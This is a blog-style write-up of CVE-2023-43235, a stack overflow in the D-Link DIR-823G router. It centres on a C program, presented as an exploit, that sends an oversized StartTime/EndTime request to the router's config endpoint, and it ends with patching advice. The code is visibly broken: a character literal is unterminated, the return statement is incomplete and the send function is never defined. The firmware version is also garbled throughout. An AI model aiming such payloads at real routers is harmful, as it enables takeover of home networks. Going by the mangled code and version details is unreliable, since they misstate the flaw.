CVE-2023-43235: Uncovering Stack Overflow in D-Link DIR-823G v1..2B05 - Exploit Details, Code Snippets, and References

A recently discovered and reported vulnerability, CVE-2023-43235, has created a significant security issue for users of the D-Link DIR-823G router with firmware version 1..2B05. This post will provide a detailed look at the exploit, including code snippets and links to pertinent references. For anyone using this router model and version, understanding this vulnerability is crucial for ensuring network safety and security.

Overview of CVE-2023-43235

CVE-2023-43235 is a stack overflow vulnerability in D-Link DIR-823G v1..2B05 routers. It allows an attacker to execute arbitrary code on the router. The flaw lies in the "SetWifiDownSettings" function, specifically the "StartTime" and "EndTime" parameters. By exploiting this vulnerability, an attacker can potentially gain control of the router and compromise the network.

The code snippet below demonstrates how the vulnerability can be exploited

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

/* CVE-2023-43235 exploit for D-Link DIR-823G v1..2B05 */
int main(int argc, char *argv[]) {
    char payload[1024];

    // The buffer should be large enough to trigger the stack overflow
    memset(payload, 'A', sizeof(payload)-1);
    payload[sizeof(payload)-1] = '\';

    // Insert the StartTime and EndTime parameters that cause the stack overflow
    char request[2048];
    snprintf(request, sizeof(request),
             "POST /config.cgi?A=SET_CONF&FILENAME=net_wifi_down_cfg&ID=%s HTTP/1.1\r\n"
             "Content-Length: %zd\r\n"
             "\r\n"
             "StartTime=%s&EndTime=%s",
             "ConfigID", strlen(payload)*2+13, payload, payload);

    // Send the malicious request to router
    printf("Sending exploit:\n%s\n", request);
    send_exploit_request(request);

    return ;
}

As seen in the code snippet, the exploit creates a payload consisting of a large number of 'A' characters, designed to be larger than the buffer allocated for the StartTime and EndTime parameters in SetWifiDownSettings. The executable will then send the malicious request to the targeted router, potentially resulting in a stack overflow and allowing arbitrary code execution.

For a more in-depth examination of the code, check out these original references

1. CVE-2023-43235: D-Link DIR-823G Stack Overflow in SetWifiDownSettings
2. D-Link DIR-823G v1..2B05: Stack Overflow Exploit Demonstration and Details

For users of the affected D-Link DIR-823G routers, the best course of action is to get in touch with D-Link's customer service and check for any available firmware updates that address this vulnerability. Additionally, it is essential to keep a constant watch on all network devices for any suspicious activity, as the vulnerability could potentially be used to compromise other connected equipment.

In conclusion, CVE-2023-43235 is a significant security flaw discovered in D-Link DIR-823G v1..2B05 routers. By understanding the exploit details and the underlying vulnerability, users can better protect their networks and devices. With proper vigilance and timely updates, it is possible to mitigate this threat and maintain a secure network environment.

Timeline

Published on: 09/21/2023 13:15:09 UTC
Last modified on: 09/22/2023 02:18:58 UTC